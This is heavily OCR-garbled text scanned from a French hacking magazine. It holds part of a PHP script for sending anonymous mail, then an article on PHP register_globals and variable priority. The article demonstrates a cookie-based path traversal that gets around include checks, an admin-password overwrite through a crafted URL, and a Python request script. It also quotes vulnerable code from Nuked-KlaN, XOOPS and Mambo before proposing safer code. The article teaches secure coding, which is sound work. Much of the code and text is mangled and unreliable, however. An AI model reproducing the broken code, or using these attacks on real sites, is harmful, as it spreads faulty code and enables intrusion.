shtml H = "Content-Type: text/html; \nContent -Transfer- Encoding: 7bit\n\n"; 
Shtml .= Smessage; 

Shtml ,- "\n\n\n =f I f nf teArf ; 

// le message en texte simple 

Smsg_txt = ereg>_replacer<br>"\ "\n H \ Smessage); 

Smsgutxt = e-regi_replacer<p>-, "\n\n" n Snisg_txt); 

Smsg_txt = st r I p_tags f *msa_txt ) ; 

Jtexte = "This is a multf-part message In hTHE format. Vn"; 

Stexte .* " =Sl1m1te\n"; 

Stents •= "Content -Type: text/plain; dia rsetM 1 ' US- ASCII W; 
Stexte ,a "Content- Transfer -Encoding: 7b1tVnVn"; 
Stexte .= (msg_txt . "\r\n"; 
// flchler attache 
1f((attMhement 1= ""){ 

Jattachement = " =51imite\n"; 

lattachemsnt .= "Content-Type: application/octet-stream; name^SffchferVW; 

Jattachement .= " Content -Transfer-Ericod1ng:base64Vn' 1 ; 

lattathement .= chunk_split{baseR_ericodeC1inplode{" p flle(tflchier)))); 

Jattachement .= "\n\n\n =J11mfte\n"; 

} 

//hop, a la poste 

1f{&nail($to, (sujet, Shtml.Jtexte.5auachement 1 Sentete$)) 

echo "Mall envoye :}<br>"; 
else 

echo "Erreur :(<t>r>*E 

> 



I 







TTI 



j 



-.'\ 




TTI 



<form name="ma11fonif met tods'" POST *> 

<b>fe5tinataf re:</bxbr> 

Nan: <irtput NARE= n dest_nom- MAfl-ENGTH^M-xtii^ 

Mall: <1nput NAME="dest_d(lr" MAXLENGTH="Z&6 , ">*<*r'> 

<b>Message:</b><br> 

Ob jet: <1nput lttHE="sujet" MMLENGTH="25&"xbr> 

Corps (HTML)*;: <brxtextarea name- 'message" rows="20" cDis="70"x/teJ , ;tarea:xbr> 

<b>Attacher un f Ichf er :^/b>^br> 

<input NAHE="f1ch1er MAXLENGTtt="?&6"xl>r> 

Les champs marques d'une. etoile (*) sont oblfgatoi res<br> 

< In put type^Submft" value=" Envoy er H, > 

</f orntx/bodyx/html > 



[ 



VRAIMENT ANONYME ? 

L'angnymat de vos mail depend en partie de la 
configu ration de votre heberqeur (certains 
n'accepteitt pas d'autres expediteurs que le 

proprietaire du cornpte, ou mettent votre IP 
dans les en-tetes du message}. De touts facon, 
votre IP est probaMement logguee chez The- 
bergeur lorsque vous envoyez fe mail. Mais il 
est difficile, avec ces informations, de remon- 
ter jusqu'd vous pour un simple particulier 
{sauf dans lecas d'une enquetejudiciaire). 

REMARQUES SUR LE SCRIPT 

Beau ca up d bebergews gratuits (et meme 
quelques-uns payants) ont, pour eviter les 

abuS, desactive ou bride la fonttion mailO- 
Par exemple, certains ne permettant pas de 
modifier d'autres en-tetes que le d est inat ai- 
re, d'autres limitent Texpediteur au proprie- 
taire du compte (autrement dit, I'adresse de 
Texpediteur ne peut £tre modified : c'est 
celle du proprietaire du compte), d'autres 
encore font les deux. 



En fait, il est difficile de trouver un heberqeur 
qratuit chez lequel an puisse utiliser "norma- 
lenient" la fonction mail, Ne vous etonnez done 
pas de necevoir, lorsque vous testerez Le script, 
un mail etrange (avec les en-tetes I i sib les dans 
le corps du message, fichier joint absent, etc.). 
Renseig nez-vous avant aupres de votre heber- 
geur. Si vous devez programmer un envoi de 
mail dans un de vos script, preTerez: faire sim- 
ple : en texte brut, sans en-tetes supplemen- 
tal res, commedans le premier exemple. 
Bien sur. notre script d'ekemple est loin d'etre 
complet. Outre les messages multi-desti natal - 
res F il ne qere ni ['upload de fichiers. ni les 
copies invisibles, ni Texpediteur ; il n'y a pas 
de verification de validite d'adresse etc k vous 
dejouerdonc :-) 



Pour plus d'info sur ('extension MIME : 

hit p://www'chimiejj-$trasbg Jr/-GB/M I M E. ht ml 

ou http://www.godigle.fr/ ;-} 

m 



I 



I 




IT 



SlMULER REGISTER 



Coder compatible et securise 



By frog-m^n 



DEPUIS PHP 4.0.2, LES VARIABLES POST, GET, ETC. NE SONT PLUS ENREG1S- 
TREE5 COM HE DES VARIABLES GLOBALES ACCESSIBLES DIRECTEMENT. DANS 
CES CONDITIONS, DE NOMBREUX SCRIPTS CESSENT DE FONCTIONNER, SUR 
CERTAINS HEBERGEURS GRATUIT5 PAR EX EM PL E. IL Y EXISTE DES MQYENS DE 
RENDRE CES SCRIPTS COMPATIBLES, CERTAINS PLUS SOUS QUES D'AUTRES... 



Les regies de priorites qui reqisaent I'attribu- 
tion des variables glo bales dins un script sont 
souvent mal connues et sont done: sources ne 
nombreuses failles de s£curit£s. Apres avoir 
ec laird ces points, important a en program ma- 
tion PHP. nous verrons comment coder de 
ma mere sure un substitut k 
registerjlobals=on, et les pieges a eviler. 

INTRODUCTION AUX 
SUPER-GLOBALES 

II y a plusieurs series de variables en php : les 
variables definies dans les scripts, cedes pro- 
venant de la requete bttp (GET r lorsqu'elles 
sont dans I'url, POST pour les formulaires. plus 
les variables contenues dans les cookies) et 
relies qui sont generees par le serveur. II peut 
ar river que des variables de series differentes 
aient le meme nom. On peut cepenoant les differencier 
en spetihant explkitement leur provenance. Les 
tableaux S.GET {ou $HTTP_GET_VARS), $_P0£T 
(Oil $HTTP_POST_VAR£). $_CCK>ICIE (ou 
SHTTP_COOK(E_YARS> et $_REQUEST (qui est la 
synthese des trois precedents) contiennent les 
variables envoyees par h-ttp. le tableau $_GLQ- 
BALS contient les variables definies dans le 






scr i pt ou . . . tut re chose que nou s verrons pa r I a 
suite. II y a aussi S_EHV {variables d'environne- 
merrt de I'DS) et 5.SERVER Cadresse du client, 
referer. etc.). mais lis ne seront pas utilises 
dans ce texte. 

Lors qu'il n'y a pas d'ambigui'te, et lorsque 
register_qlobals est enclenche" dans la configu 
ration de PHP, on peut accede r a une variable 
donneedansTurl : - 

(http://s lte.com/lndex. p h p?m y Va r =0) a u ssi 
bien avec SmyVar qu'avec S_GET['mwVar'J, 
Cette equivalence provoque souvent des failles de 
securite' dans les scripts qui n'initialisent pascor- 
rectement certains variables {on pense que e'est 
une variable interne au programme, alors que I'u- 
tilisateur pent en realite modifier sa valeur), 
Par contre r lorsque des variables de sources 
differentes (par exemple, GET et POST} ont le 
meme nom, la vaieur de la variable global* est 
attribute selon une priorite don nee. On va voir 
dans cet article que cela est egalement une 
source de failles de sec u rite. 

LES PRIORITES 

Imaginons un flchler : 

h tt p^/www.target . url/priorites.ph p contenant 



GLOBALS=ON ? 



le code suivant : 
<? 

echo "GET : MHTTP.GETJtoRSrHyVar"]; 

echo "\n<:br^P0ST s 

■ . $HTTP_PDST_VAFtS[ " Hy Va r " ] ; 

echo "VrKbrKQQKIE : 

" , J HTTP_C0Q Kl E^VARS [ " M^ V a r" ] ; 

echo "\rKbr>GLO&AL i M^yVan 

> 



On peut tester les priorites en envoyant une 
requete contenant la variable MyVar sous plu- 
sieurs Formes (get, post et cookie). Pour tela, 
on utilise un script python (voir encadre). 



PHPPRIOCHECK.PY 

Ce programme permit tJ'&n^yer une requete http initialisamt la variable MyVar de differentes manieres : 
import httpllb 

htt p=http lib, HTTP C "www. target. url") 

http . put req uest t " POST" , Vpr1 o r i tes , php Wy Va r^GetVa 1 ue ■ ) 

http * putheader ["Content- Type " , ■ a ppl 1 cat t on /x~www - f o rm- url encoded " ) 

http .put header i "Cookt e" , "MyVar=Cook1 eVatue" ) 

http.putheade^(''^J5e^-Agent , ^'Ph^PPHoChe^:k.py' , ) 

http . p u t header Titos t H ' , "www. target .url " } 

ht t p. putheader* "Content- Length\str(l en <"MyVar=PostV a 1 ue" )) ) 

http.endheadersO 

http. sendt "MyYar=PostVaiue" ) 

code T nisg» headers ■ http*get reply () 

print code , "\tT „msg , "\n" , headers 

file=http.getftle<) 



print "Result : \rf+f tie. read ( ) 



I 



DfU 



D 



TT 



— 



inx 






On obtiendra alurs comme resultat cote client : 

GET :G&tValUG 
<br»P0ST : PostValue 
<:br>CQQKlE ; Cookie Value 
<br>GLQBAL : CookieValue 

On peut clone en condure qu'urte variable 
COOKIE est en quelque sorte plus " puissante " 
que lea variables GET et POST, car e'est a ehe 

qu'une variable glob-ale prendra sa valour en 

priority. 

Avant de parler des consequences, voyons les 

priorites erit re GET et POST, en supprimant sim- 

plement la liqne : 

http r putheader{ "Cookie" ," M yVar = Cook ieVai ue 1 ' I. 

Ce qui donne le resultat : 

GET : GetValue 

<br>P0$T : PostValue 

<tr?€0OKIE : 

4>r*GL0BAL j Post Value 

Les variables du tableau $_REOUE5T reagi«ent 
exactement de la meme fat; on que les variables 
du tableau $_GL0BAL$, 
On peut maintenant definir I'ordre des priorites : 

1. COOKIE 

2. POST (comprenant le tableau $_FILES J les 
Tic biers envoyes par formuleire) 

3-GET 
Get ordre est en fait de-fini lui aussi dans le 
php.ini par ('option " variables_order " qui est 
par defaut ■■ EG PCS \ e'est-a-dire 
Environnement. GET r POST, COOKIE, Serveur. 
L'urdre de priorite pour les variables de type 
GPC est done bien par defaut celui que nous 
avians dedufct. 

Les consequences de ces priorites peuvent 
etre dangereuses si, dans un code PHP, on fait 
des verifications sur une variable dont on spe- 
cif ie le type, puis que par la suite on I 'utilise 



sans specifier le type- 
Par exemple avec ce code (include.pbp) : 
<? 

1fC eregi(^A^ t $_6ET[-f11e"]> 
II eregfr\\\*_GET["file"]) 
II erefl1(y%*JBFT["fne")) 
II ereg("\\fl" J $_G£T["fne"]J ){ 
diet" II legal access/"); 
} else { 

if ( 
flle.existsr/fnes/Mflle) ) 

1ncludeC/fUes/\*file.h 

} 
?> 

lei, il suffit d^weyer un cookie nomme " file " et 

enntenant la valeur " JJJ.MMftow " sur I'uri : 

http://www.tarqEt,url/include,php?file-blabi;s 

pour Indure le flchler " ../„/ r 7../file/to/show '". 

En effet, les tests verifiant que la variable GET 

file ne conlienl ni H .. M r nl " V ". ni " / ", ni n \0 ■ 

sent effectues sur la valeur " blabla ■ Par 

contre r lors de I 'inclusion,, le type n'est pas 

donne. et vu les priorites, si Ton a donne le nam 

■ file " a un cookie, e'est sa valeur qui sera 

prise en compte, alors qu'aucune verification 

n'a ete faite a son sujet, Pour un exemple reel, 

voir TrueGalerie qui permettait de copier et 

d'uploader des fichiers a cause des priorites 

<htt p : //ww w. p h ps ecure.inf o/vZ/tutos/f roq/Tru 

eGalerle.tut). 

II est evident que ce genre de problems ne se 
posera pas avec un COOKIE, vu qu'il est en haut 
de la Hste des priorites. Mais cet ordre peut 
etre modifie. 

Plusieurs solutions sont envisaged bles pour ne 
plus avoir de problemes : 
1. Utiliser uniquement des variables de 

type S_ REQUEST, reprenant les 3 types ; 

GET POST et COOKIE. 






TT 



2. Utiliser partout. sans se t romper, les 
faons types de variables (beaucoup plus 
dangereux ;)), 

3. Ne JAMAIS- definir le type de la variable. 

4. Mettre reqister_qJobals ^ off et lire la 
suite de (article :) 

Simulation de regi iter global i> 

II est possible en PHP! avet un petit code, de simuler 

roplion register_globals a on quand elle est a off. 





[f 




y 


r^Bv, 


j 


— 


IS) 


- 





J'ai trouve de nombreux movent pour alter dans ce 
sens, maisaucun de valabte pour simuler au contrai- 
re un neqister_olobals a o-ff alors qu'il est a on. 
Ce genre de code est souuent utilise dans des 
applications distributes, permettant d'etre 
compatible avec les deux configurations, du par 
des webmasters dont l 1 fieberqeur ne permet 
pas de chanqer la configuration du php.ini. 
Un exempt e est le cade suivant : 



<? 

fo reach (i_REQUE5T as tkey=>$val(je) { 
K*key> = lvalue; 

echo Shown; 
1> 



Grate a lui, la variable $boum pourra etre defi- 
nie par &EL par POST ou par COOKIE, que I 'op- 
tion register qlobals so it sur on ou sur off. 
Dans cet esemple, ${$tev} aurait pu etre rem- 



plac* par $_GLQBAL&[$feey]. 

Yoyons maintenant ('utilisation possible des 
fonctions extracts et import jequest.varia- 
blesO : 



<? 

extract (J_REQUEST); 

echo (bourn; 

?> 

import_request_* art abl es( 'GPC ) ; 

echo Iboom; 

?> 

Etc„ 



Dans tous ces exemples, $boum aurait pu etre 
remplace par |_GLQBALS[ "bourn"]. 

Tout ces codes sont tres pratiques, ma is ils 
peuvent poser de serieut problemes. On peut 



en eff et redefinir n'importe quelle variable glo- 
bal* deja definie dans le script, quel que scut 
I'ftat de register^ lobals. 
Irririgmons. un code tout simple : 



I 



DfU 



D 



ITT 



tuwm 



tadmlrtpass^blob"; 

foreach t$_REQUEST as Sfcey^Svalue) { 

*{*key} = lvalue; 

} 



if (MssettSpass) { 
echo "<:fortn method=VPOSTV'>£ntre2 le mot de passe : <t>r>" ; 

echo "<1nput nanie=\"pass\"xfcrxlnpLit type="submit"x/fQrm>'; 
} else { 

If C Spass = tadmfnpass ) { 

echo "Ulerivenue dans la parti e administration."^ 
} 



} 
?> 

Vu que le code dangereux se trouve apres la 
definition de la variable Sadminpass, il est pos- 
sible de la redefinir. On sera done considere 
tomme admin avec une simple url : 
http://www.targ et.url/ad m I n . p h p?adm i n p as s = h 
opSpass=hop. 

Ce genre de code ne pose done pas de 
probleme s'il se trouve avant toute defi- 



nition de variable globale. 
Voici trois applications, qui, avant d'etre corri- 
gees, utilisaient cette methede, soil trois 
exemples a ne pas suivre... 

A] Huked-KlaN hl.fi 
Les variables pounraient etre redefinissables 
en global via GEL POST et COOKIE. 
nuked.php ; 



function nk_globals( Stable} { 

if (1s_arra^(f6LDBAL5titable])l { 
reset (*GL0BALS[ J table]); 

while OlsUSkey, Ival) = «chC*GLOBALS[Stable])J { 
SGLQeALSCttey] = *val ; 

) 



} 



} 



global s.php : 



nk^gl obal s( N HTTPj3£T_VAft$ 1 ) t 

n leg local s( h HnP_POST_VARS i ) > 
nk_g] Obal s( ' HTTP_COfJIU E_VAR$ ' J ; 
nlegl obal s( , tfTTP_SERVER_v"ARS ' ) ; 






TT1 



Le problems, dans ces scripts, est qu 1 urie autre 
faille permet d'inclure oJobals.php dans n'importe 
quel module, et done de pouvair changer di verses 
variables de configuration avec des requeues GET 
( http://www.ph p s-ecu re J nf o/ v2/tutos/frog/ Nuli 






[ (1 



TT1 



Cr 



[ 



ed-KlaH.tJtt), 

BJXOQPS 2,0.5 

Des variables glofeales pourraient etre redefi* 
nies via POST, 
edituser.php, imagemanatjerrphp ; 



if Ms5et(tHTTP_PQST_YAR$)) { 

foreach (*HTTP_P05T_VARS as Ik *> tv) { 
l{*k} = Iv; 

} 

} 



On peut ain$.i redefimr certaines variables loca- 
les avec une requete POST, parce que cette 
portion de code est precedee par d'autres 
initialisations. 

(http://www.phpsecure.info/v2/tutos/frog/XO 
0PS2 .0.5.tjtt> 



Of Mambo Server 4.0.14 

Des variables qlohales pourraient etre redefi- 
nies via GET, POST et COOKIE si register.cjlobals 
est a off. 
recjcjlobals.php : 



<fphp 

if (31nf_get( , register_g1obals , ]l { 
sess1on_startO; 
H [...] 

whnetltst(tkey,tvalije)=Bacri(*_FILES>) tGLQBALS[tkey]=lvalue; 
whileCli st( I key , *val ue >=eacht l„ENV ) ) JGLO&ALS[lkeyl=tval ue; 
whi 1 ef 1 1 st< ikey , Ival ue HeacMOET) ) $GLOBALS[lkeyl=tval je j 
whi 1 e( 1 1 st( (key , Sval ue >^each(*„POST ) } sGLOBALS[*key]-Sval tie ; 
wh 1 1 e f 1 1 st (t key t Iva 1 ue ) =ea c h ( I.CQOK I E > > IGLQBA LS [ % key ]=lva 1 ue ; 
whi I e[ 1 i st( s key , Ival lie )=eaeh{ l_SERV££) ) IGLOBALS[*key]=lval ue ; 
whi le{ 1 1 st^lkey a Jval ue )=each{ *_SESSIQN ) ) IGLOBALS[tkey]=lval ue ; 
foreachft_FILES as (key => lvalue) { 

JGLOBALSfjkey ]=S_FTLE5[Skey] [ ' tmp..r»ame ! ] ; 

foreath< lvalue as Sext => lvalue^) { 

IkeyZ = tkey."_\t«t; 

IGL0EAL£[Jkey2J=Svalue£; 



} 



} 



I 



D LI D 

uilr 

m U 



— 




Dans plusieors composants, on a : 

include [ H corf ig lira t1 on *ptip" > ; 
C..] 

Include {"reggTobals.prjp"); 

On peut done modifier la configuration du programme 
Chtt p : ffa ww.phpsec u re, inf o/vZ/tutos/f rag/Ma 

m boSencer.txt). 

SOLUTION 

Com me solution, j'ai compose deux codes pou- 
vant permettre de simuler register_gilobals a on 
quand il est a off, pou vant etre places n'impor- 
te du dans le script sans danger : 
<7pbp 

if (!1n1jetCreg-f$ter_globals")){ 

fo reach ( (.BEQUEST as ik^>Jv){ 

if (Msset(t6uBALSC$k])>{ 

}>} 



Ce code ne s'e*£cute que si register gimbals 

est a off, Erisuite il va verifier que les variables 



de type $_RE0UE5T ne soient pas deja definie$ 
dans le tableau d*s $_GLOBALS. Pour les varia- 
bles dont ca n 'est pas le cas, il va les y placer. 
L'avantage de cefte possibility est gue Ton 
peut placer un filtre sur toutes les variables 
definies par I'utilisateur, ce qui n'est pas possi- 
ble dans ma deuxieme proposition : 
<?php < 

extract ( f .REQUEST, EXTILSltt P ) ; 
?> 

La fonction extracts va delinir tous Ik Elements 
du tableau donne en premier argument comme 
etant des variables globales, le tableau ftant ici 
S.REOUEST. Le deuxieme argument deffnit le type 
de ('extraction, ici EXTR_SKIP, c p est-a-dire qu'il n'e* 
erase pas les variables giobales deja defines, Ce 
denier argument est par detauta EXROVERWRITE. 
e'est-a-dire qu'il ecrase les variables giobales. 

CONCLUSION 

Voila, tout ca prouve qu f il faut faire tres atten- 
tion avec les super-qlobales F quel que soil I'e 
tat de registerjjlobals. 







sic 



\/ J 







ll_l^ 



rs! 



I 



MMBNK 



NOS TOURS 



D6 HACK : * lDW * 



ccrti***" 1 *** 



, m* 1 






:ssrs=«— ■= 



SP2 



ft 



EXPL* 1 ™™* 



4*1* te* 



lUA *■•*• 






techi**" 



.» «t ii*^ 



nfiri *»»! 



if 



EXPEW S 



Exploit** 



pftftTlQU' 



3 VI 






En vente en kiosque 



the HACK ADEMY fg,- 
PRODUCTION ^f 

Decouvrez tout lunivers de the hackademy 

PublKatJans, H*r series, fours par tomvondance uu dans nrc rales en Fiance el ailleun. Conferences, Kuit du Hack, CD-Boipl Flirts, ... 



Paris : 



HACKADEMY SCHOOL 



Province : 



Decembre : 

7-10 Hack/aecurtte pio 
1345 Linux 
20-21 Stwhu: 
22-23 WIN 
23*8 Newble + 

Janvier : 

A Initiation Internet 

_et securite 
mm> Hack/aecurtte pro 



Fevrier : 

2Ml Newbie 
23-24 WIFi 

26 Montage PC 



Infos 




Fevrier : 

1W Hack/ securite pro a Strasbourg 
1447 Hack/ securite a pro Toulouse 
14-17 Hack/ securite a pro Grenoble 



NEWS 

. Lea T-shirt de la Nult du Hack sont arrive 
Vous pouvez les commander directerncnt m 
le site www.nuitduhack.com. Vous potirre; 
aussi commander le CD de la NdH. 

* Un nouveau cours d integration Informatiquc 
(montage PC) va avoir lieux le 2& fevrier 
De nouvelfes Hackademy Schools vont ouvrir 
leurs partes a Barcelaririe, Marseille et 
Strasbourg, 



Tel : 01.40.21.ai.2O 

the Hackademy School Paris i. vm.-i j u cio* de Mannar* i«x 7, n» Dartwyi 7&on Pad* {«* ooficourii 

Pour tons renseignemerita h ttp :/ /www J Ji ehat ka demy. ret 



Fajtes VOTH£ ckok ! 

Ak«m»miM Hxkjfcrn, JmmuIIZ nwrtru |*wl4l»*k} ; 
**** U CD In* i«ftfiTkar : 
&* 2 micros gjatu«*!! 

< Jhrit h- CD ho* ill he kv> . 

StftpaatfeMCd'eanQrrieU 

H*| »« ■. pa- c*rmptrdinctt* | N«ta >i*. W*w*4**) 
Li i cfei i vfrliiM l r*li«* 1 1$4 pi pi) Iti4i *tm *m : 
^ i £ It CO *•* ♦♦* faKi) : 



Li < tun Lruj UU pai WMpWlii 

let cam de lie hiekidemk S<tn»l crus 



• 4* 






Aberiumtrrt purrri * ib*44nn*irt rniml: M f 
Dim «e pa^t|> . It CD vl #tfcrt 

Ma«uni: 

M»nwHtflt JhhmI * d»nn«n«rt mru*! + 
C**n p-J' cermfcnldiMe ft41 Ip| ^ 160 * 
D«i » *"*■(> '* CQ«t dint 



na«jji[*.|HBdnjJO 

+ Qt«lLMafw1l«fcpi 



at* 



TPl 



ll! 



Jt alert* h BMbitt total d* ■• cmh 







IV 



J 



tMkptVH: 



I «n : i *n- Ml i Ih.tct IEI0V* !*• l^klttE A ( rtl* U.AKjilt Hi*MI H, j* tm m 



H1W